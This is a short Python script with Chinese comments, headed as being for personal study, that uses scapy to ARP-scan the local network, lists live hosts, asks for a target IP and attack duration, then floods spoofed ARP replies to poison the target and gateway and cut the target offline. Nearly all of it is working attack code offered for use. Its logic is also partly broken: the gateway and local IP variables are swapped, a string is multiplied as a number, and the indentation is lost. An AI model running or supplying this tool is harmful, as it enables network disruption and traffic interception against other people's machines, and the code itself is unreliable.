PS:仅做个人学习用途!
#攻击指定IP实现断网-ARP
#原理:通过扫描当前攻击机的IP地址,得到内网的所有IP所在网关
#组成ARP数据包,对网关内的主机先发起Ping,有发些主机存活
#获得存活IP列表,选择需要攻击IP,发起攻击
#步步
#1:获得当前的IP及网关 route print
#2:封装ARP数据包,以太网的包结构形式来发起Ping,得到存活主机列表
#3:得到存活主机列表
#4:选择需要攻击或阻网的IP
#5:ARP攻击(封包/发包)-->代理,抓包
#6:设置攻击的长
import os
import time
from scapy.all import *
#pip install scapy
#
gw=''
netcard='Realtek PCIe GbE Family Controller #2'#攻击的网卡
def scan2spoof():
global gw
#执行cmd命令 获得当前主机IP和网关
for line in os.popen("route print"):
#通过line获得IPV4和网关
s=line.strip()
if s.startswith('0.0.0.0'):
iplist=s.split()
ip=iplist[2]#网关
gw=iplist[3]#当前IP
print(ip)
print(gw)
break
print("使用的网卡是:{}".format(netcard))
print("本机的上网网关:{}".format(ip))
print("本机的上网IP是:{}".format(gw))
#封装一个ARP的数据包,符合以太网的包定义
arppk=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24")
ansip,unansip=srp(arppk,iface=netcard,timeout=2,verbose=0)
print("扫描到{}台在线主机".format(len(ansip)))
print("扫描到{}台不在线主机".format(len(unansip)))
ansresip=[]
for s,r in ansip:
ansresip.append([r.psrc,r.hwsrc])#ip,mac
ansresip.sort()#去重排序
for ip,mac in ansresip:
print(ip,"------>",mac)
#代理/抓包
#阻断网络
vip=input("请输入需要攻击的IP:")
ttl=input("请输入需要攻击的时间(秒):")
#以下实现arp攻击即可
for i in range(ttl*5):
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=gw),verbose=0)
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vip),verbose=0)
time.sleep(0.2)
print("对{}的ARP攻击完成".format(vip))
if __name__=='__main__':
scan2spoof()